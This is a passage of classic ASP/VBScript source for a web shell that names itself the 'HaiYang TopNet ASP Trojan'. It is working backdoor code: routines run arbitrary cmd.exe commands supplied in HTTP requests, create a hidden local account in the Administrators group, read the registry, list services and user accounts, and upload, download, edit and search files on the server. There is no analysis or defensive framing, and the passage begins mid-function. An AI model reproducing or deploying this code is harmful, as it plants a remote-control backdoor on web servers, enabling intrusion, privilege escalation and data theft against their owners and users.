thePath = thePath & "\" & fileName
.SaveToFile thePath, overWrite
End If
.Close
End With
chkErr(Err)
alertThenClose("文件 " & Replace(thePath, "\", "\\") & " 下載成功!")
Set Http = Nothing
Set Stream = Nothing
End Sub
Sub AddUser(strUser, strPassword)
If isDebugMode = False Then
On Error Resume Next
End If
Dim computer, theUser, theGroup
Set computer = Getobject("WinNT://.")
Set theGroup = GetObject("WinNT://./Administrators,group")
Set theUser = computer.Create("User", strUser)
theUser.SetPassword(strPassword)
chkErr(Err)
theUser.SetInfo
chkErr(Err)
theGroup.Add theUser
chkErr(Err)
Set theUser = Nothing
Set computer = Nothing
Set theGroup = Nothing
echo getUserInfo(strUser)
End Sub
Sub readReg()
If isDebugMode = False Then
On Error Resume Next
End If
Dim i, thePath, theArray
thePath = Request("thePath")
' echo thePath & " "
theArray = ws.RegRead(thePath)
If IsArray(theArray) Then
For i = 0 To UBound(theArray)
echo "
" & theArray(i)
Next
Else
echo "
" & theArray
End If
chkErr(Err)
End Sub
Sub PageList()
showTitle("功能模塊列表")
echo ""
echo "海陽頂端網ASP木馬@2006α"
echo "
"
echo " "
echo "Powered By Marcos 2005.02"
End Sub
Sub PageSaCmdRun()
If isDebugMode = False Then
On Error Resume Next
End If
Dim theFile, thePath, theAct, appPath, appName, appArgs
showTitle("Shell.Application命令行操作")
theAct = Trim(Request("theAct"))
appPath = Trim(Request("appPath"))
thePath = Trim(Request("thePath"))
appName = Trim(Request("appName"))
appArgs = Trim(Request("appArgs"))
If theAct = "doAct" Then
If appName = "" Then
appName = "cmd.exe"
End If
If appPath <> "" And Right(appPath, 1) <> "\" Then
appPath = appPath & "\"
End If
If LCase(appName) = "cmd.exe" And appArgs <> "" Then
If LCase(Left(appArgs, 2)) <> "/c" Then
appArgs = "/c " & appArgs
End If
Else
If LCase(appName) = "cmd.exe" And appArgs = "" Then
appArgs = "/c "
End If
End If
sa.ShellExecute appName, appArgs, appPath, "", 0
chkErr(Err)
End If
If theAct = "readResult" Then
Err.Clear
echo encode(streamLoadFromFile(aspPath))
If Err Then
Set theFile = fso.OpenTextFile(aspPath)
echo encode(theFile.ReadAll())
Set theFile = Nothing
End If
Response.End
End If
echo ""
echo ""
echo ""
echo ""
End Sub
Sub PageServiceList()
Dim sa, objService, objComputer
showTitle("系統服務信息查看")
Set objComputer = GetObject("WinNT://.")
Set sa = Server.CreateObject("Shell.Application")
objComputer.Filter = Array("Service")
echo ""
If isDebugMode = False Then
On Error Resume Next
End If
For Each objService In objComputer
echo "
" & objService.Name & "
"
echo "服務名稱: " & objService.Name & " "
echo "顯示名稱: " & objService.DisplayName & " "
echo "啟動類型: " & getStartType(objService.StartType) & " "
echo "運行狀態: " & sa.IsServiceRunning(objService.Name) & " "
' echo "當前狀態: " & objService.Status & " "
' echo "服務類型: " & objService.ServiceType & " "
echo "登錄身份: " & objService.ServiceAccountName & " "
echo "服務描述: " & getServiceDsc(objService.Name) & " "
echo "文件路徑及參數: " & objService.Path
echo ""
Next
echo "Powered By Marcos 2005.02"
Set sa = Nothing
End Sub
Function getServiceDsc(strService)
Dim ws
Set ws = Server.CreateObject("WScript.Shell")
getServiceDsc = ws.RegRead("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\" & strService & "\Description")
Set ws = Nothing
End Function
Sub PageTxtSearcher()
Response.Buffer = True
Server.ScriptTimeOut = 5000
Dim keyword, theAct, thePath, theFolder
theAct = Request("theAct")
keyword = Trim(Request("keyword"))
thePath = Trim(Request("thePath"))
showTitle("文本文件搜索器")
If thePath = "" Then
thePath = Server.MapPath("\")
End If
echo "FSO文件搜索:"
echo ""
echo ""
echo ""
echo "Shell.Application & Adodb.Stream文件搜索:"
echo ""
echo ""
echo ""
If theAct = "fsoSearch" And keyword <> "" Then
Set theFolder = fso.GetFolder(thePath)
Call searchFolder(theFolder, keyword)
Set theFolder = Nothing
End If
If theAct = "saSearch" And keyword <> "" Then
Call appSearchIt(thePath, keyword)
End If
echo "Powered By Marcos 2005.02"
End Sub
Sub searchFolder(folder, str)
Dim ext, title, theFile, theFolder
For Each theFile In folder.Files
ext = LCase(Split(theFile.Path, ".")(UBound(Split(theFile.Path, "."))))
If InStr(LCase(theFile.Name), LCase(str)) > 0 Then
echo fileLink(theFile, "")
End If
If ext = "asp" Or ext = "asa" Or ext = "cer" Or ext = "cdx" Then
If searchFile(theFile, str, title, "fso") Then
echo fileLink(theFile, title)
End If
End If
Next
Response.Flush()
For Each theFolder In folder.subFolders
searchFolder theFolder, str
Next
end sub
Function searchFile(f, s, title, method)
If isDebugMode = False Then
On Error Resume Next
End If
Dim theFile, content, pos1, pos2
If method = "fso" Then
Set theFile = fso.OpenTextFile(f.Path)
content = theFile.ReadAll()
theFile.Close
Set theFile = Nothing
Else
content = streamLoadFromFile(f.Path)
End If
If Err Then
Err.Clear
content = ""
End If
searchFile = InStr(1, content, S, vbTextCompare) > 0
If searchFile Then
pos1 = InStr(1, content, "", vbTextCompare)
pos2 = InStr(1, content, "", vbTextCompare)
title = ""
If pos1 > 0 And pos2 > 0 Then
title = Mid(content, pos1 + 7, pos2 - pos1 - 7)
End If
End If
End Function
Function fileLink(f, title)
fileLink = f.Path
If title = "" Then
title = f.Name
End If
fileLink = "
" & title & " " & fileLink & "
"
End Function
Sub appSearchIt(thePath, theKey)
Dim title, extName, objFolder, objItem, fileName
Set objFolder = sa.NameSpace(thePath)
For Each objItem In objFolder.Items
If objItem.IsFolder = True Then
Call appSearchIt(objItem.Path, theKey)
Response.Flush()
Else
extName = LCase(Split(objItem.Path, ".")(UBound(Split(objItem.Path, "."))))
fileName = Split(objItem.Path, "\")(UBound(Split(objItem.Path, "\")))
If InStr(LCase(fileName), LCase(theKey)) > 0 Then
echo fileLink(objItem, "")
End If
If extName = "asp" Or extName = "asa" Or extName = "cer" Or extName = "cdx" Then
If searchFile(objItem, theKey, title, "application") Then
echo fileLink(objItem, title)
End If
End If
End If
Next
End Sub
Sub PageUserList()
Dim objUser, objGroup, objComputer
showTitle("系統用戶及用戶組信息查看")
Set objComputer = GetObject("WinNT://.")
objComputer.Filter = Array("User")
echo "User:"
echo ""
For Each objUser in objComputer
echo "
" & objUser.Name & "
"
echo ""
getUserInfo(objUser.Name)
echo ""
Next
echo ""
echo " UserGroup:"
echo ""
objComputer.Filter = Array("Group")
For Each objGroup in objComputer
echo "
" & objGroup.Name & "
"
echo "" & objGroup.Description & ""
Next
echo "Powered By Marcos 2005.02"
End Sub
Sub getUserInfo(strUser)
Dim User, Flags
If isDebugMode = False Then
On Error Resume Next
End If
Set User = GetObject("WinNT://./" & strUser & ",user")
echo "描述: " & User.Description & " "
echo "所屬用戶組: " & getItsGroup(strUser) & " "
echo "密碼已過期: " & cbool(User.Get("PasswordExpired")) & " "
Flags = User.Get("UserFlags")
echo "密碼永不過期: " & cbool(Flags And &H10000) & " "
echo "用戶不能更改密碼: " & cbool(Flags And &H00040) & " "
echo "非全局帳號: " & cbool(Flags And &H100) & " "
echo "密碼的最小長度: " & User.PasswordMinimumLength & " "
echo "是否要求有密碼: " & User.PasswordRequired & " "
echo "帳號停用中: " & User.AccountDisabled & " "
echo "帳號鎖定中: " & User.IsAccountLocked & " "
echo "用戶信息文件: " & User.Profile & " "
echo "用戶登錄腳本: " & User.LoginScript & " "
echo "用戶Home目錄: " & User.HomeDirectory & " "
echo "用戶Home目錄根: " & User.Get("HomeDirDrive") & " "
echo "帳號過期時間: " & User.AccountExpirationDate & " "
echo "帳號失敗登錄次數: " & User.BadLoginCount & " "
echo "帳號最后登錄時間: " & User.LastLogin & " "
echo "帳號最后注銷時間: " & User.LastLogoff & " "
For Each RegTime In User.LoginHours
If RegTime < 255 Then
Restrict = True
End If
Next
echo "帳號已用時間: " & Restrict & " "
Err.Clear
End Sub
Function getItsGroup(strUser)
Dim objUser, objGroup
Set objUser = GetObject("WinNT://./" & strUser & ",user")
For Each objGroup in objUser.Groups
getItsGroup = getItsGroup & " " & objGroup.Name
Next
End Function
Sub PageWsCmdRun()
Dim cmdStr, cmdPath, cmdResult
cmdStr = Request("cmdStr")
cmdPath = Request("cmdPath")
showTitle("WScript.Shell命令行操作")
If cmdPath = "" Then
cmdPath = "cmd.exe"
End If
If cmdStr <> "" Then
If InStr(LCase(cmdPath), "cmd.exe") > 0 Or InStr(LCase(cmdPath), LCase(myCmdDotExeFile)) > 0 Then
cmdResult = doWsCmdRun(cmdPath & " /c " & cmdStr)
Else
If LCase(cmdPath) = "wscriptshell" Then
cmdResult = doWsCmdRun(cmdStr)
Else
cmdResult = doWsCmdRun(cmdPath & " " & cmdStr)
End If
End If
End If
echo ""
echo ""
echo ""
echo ""
End Sub
Function doWsCmdRun(cmdStr)
If isDebugMode = False Then
On Error Resume Next
End If
Dim fso, theFile
Set fso = Server.CreateObject("Scripting.FileSystemObject")
doWsCmdRun = ws.Exec(cmdStr).StdOut.ReadAll()
If Err Then
echo Err.Description & " "
Err.Clear
ws.Run cmdStr & " > " & aspPath, 0, True
Set theFile = fso.OpenTextFile(aspPath)
doWsCmdRun = theFile.RealAll()
If Err Then
echo Err.Description & " "
Err.Clear
doWsCmdRun = streamLoadFromFile(aspPath)
End If
End If
Set fso = Nothing
End Function
Sub PageOther()
echo "" & vbNewLine
echo ""
End Sub
Sub openUrl(usePath)
Dim theUrl, thePath
thePath = Server.MapPath("/")
If LCase(Left(usePath, Len(thePath))) = LCase(thePath) Then
theUrl = Mid(usePath, Len(thePath) + 1)
theUrl = Replace(theUrl, "\", "/")
If Left(theUrl, 1) = "/" Then
theUrl = Mid(theUrl, 2)
End If
Response.Redirect("/" & theUrl)
Else
alertThenClose("您所要打開的文件不在本站點目錄下\n您可以嘗試把要打開(下載)的文件粘貼到\n站點目錄下,然后再打開(下載)!")
Response.End
End If
End Sub
Sub showEdit(thePath, strMethod)
If isDebugMode = False Then
On Error Resume Next
End If
Dim theFile, unEditableExt
If Right(thePath, 1) = "\" Then
alertThenClose("編輯文件夾操作是非法的.")
Response.End
End If
unEditableExt = "$exe$dll$bmp$wav$mp3$wma$ra$wmv$ram$rm$avi$mgp$png$tiff$gif$pcx$jpg$com$msi$scr$rar$zip$ocx$sys$mdb$"
echo ""
echo ""
echo ""
echo " "
End Sub
Sub saveToFile(thePath, strMethod)
If isDebugMode = False Then
On Error Resume Next
End If
Dim fileContent, windowStatus
fileContent = Request("fileContent")
windowStatus = Request("windowStatus")
If strMethod = "stream" Then
streamSaveToFile thePath, fileContent
chkErr(Err)
Else
fsoSaveToFile thePath, fileContent
chkErr(Err)
End If
If windowStatus = "on" Then
Response.Cookies(m & "windowStatus") = "True"
Response.Write ""
Else
Response.Cookies(m & "windowStatus") = "False"
Call showEdit(thePath, strMethod)
End If
End Sub
Sub fsoSaveToFile(thePath, fileContent)
Dim theFile
Set theFile = fso.OpenTextFile(thePath, 2, True)
theFile.Write fileContent
theFile.Close
Set theFile = Nothing
End Sub
Function streamLoadFromFile(thePath)
Dim stream
If isDebugMode = False Then
On Error Resume Next
End If
Set stream = Server.CreateObject("adodb.stream")
With stream
.Type=2
.Mode=3
.Open
.LoadFromFile thePath
.LoadFromFile thePath
If Request("pageName") <> "TxtSearcher" Then
chkErr(Err)
End If
.Charset="gb2312"
.Position=2
streamLoadFromFile=.ReadText()
.Close
End With
Set stream = Nothing
End Function
Sub downTheFile(thePath)
Response.Clear
If isDebugMode = False Then
On Error Resume Next
End If
Dim stream, fileName, fileContentType
fileName = split(thePath,"\")(uBound(split(thePath,"\")))
Set stream = Server.CreateObject("adodb.stream")
stream.Open
stream.Type = 1
stream.LoadFromFile(thePath)
chkErr(Err)
Response.AddHeader "Content-Disposition", "attachment; filename=" & fileName
Response.AddHeader "Content-Length", stream.Size
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite stream.Read
Response.Flush
stream.Close
Set stream = Nothing
End Sub
Sub showUpload(thePath, pageName)
echo ""
echo ""
End Sub
Sub streamUpload(thePath)
If isDebugMode = False Then
On Error Resume Next
End If
Server.ScriptTimeOut = 5000
Dim i, j, info, stream, streamT, theFile, fileName, overWrite, fileContent
theFile = Request("theFile")
fileName = Request("fileName")
overWrite = Request("overWrite")
If InStr(fileName, ":") <= 0 Then
fileName = thePath & fileName
End If
Set stream = Server.CreateObject("adodb.stream")
Set streamT = Server.CreateObject("adodb.stream")
With stream
.Type = 1
.Mode = 3
.Open
.Write Request.BinaryRead(Request.TotalBytes)
.Position = 0
fileContent = .Read()
i = InStrB(fileContent, chrB(13) & chrB(10))
info = LeftB(fileContent, i - 1)
i = Len(info) + 2
i = InStrB(i, fileContent, chrB(13) & chrB(10) & chrB(13) & chrB(10)) + 4 - 1
j = InStrB(i, fileContent, info) - 1
streamT.Type = 1
streamT.Mode = 3
streamT.Open
stream.position = i
.CopyTo streamT, j - i - 2
If overWrite = "true" Then
streamT.SaveToFile fileName, 2
Else
streamT.SaveToFile fileName
End If
If Err.Number = 3004 Then
Err.Clear
fileName = fileName & "\" & Split(theFile, "\")(UBound(Split(theFile ,"\")))
If overWrite="true" Then
streamT.SaveToFile fileName, 2
Else
streamT.SaveToFile fileName
End If
End If
chkErr(Err)
echo("")
streamT.Close
.Close
End With
Set stream = Nothing
Set streamT = Nothing
End Sub
Function getDriveType(num)
Select Case num
Case 0
getDriveType = "未知"
Case 1
getDriveType = "可移動磁盤"
Case 2
getDriveType = "本地硬盤"
Case 3
getDriveType = "網絡磁盤"
Case 4
getDriveType = "CD-ROM"
Case 5
getDriveType = "RAM 磁盤"
End Select
End Function
Function getFileIcon(extName)
Select Case LCase(extName)
Case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa"
getFileIcon = "Wingdings>2"
Case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg"
getFileIcon = "Webdings>﹒"
Case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif"
getFileIcon = "'webdings'>"
Case "exe", "com", "bat", "cmd", "scr", "msi"
getFileIcon = "Webdings>1"
Case "sys", "dll", "ocx"
getFileIcon = "Wingdings>ÿ"
Case Else
getFileIcon = "'Wingdings 2'>/"
End Select
End Function
Function getStartType(num)
Select Case num
Case 2
getStartType = "自動"
Case 3
getStartType = "手動"
Case 4
getStartType = "已禁用"
End Select
End Function
%>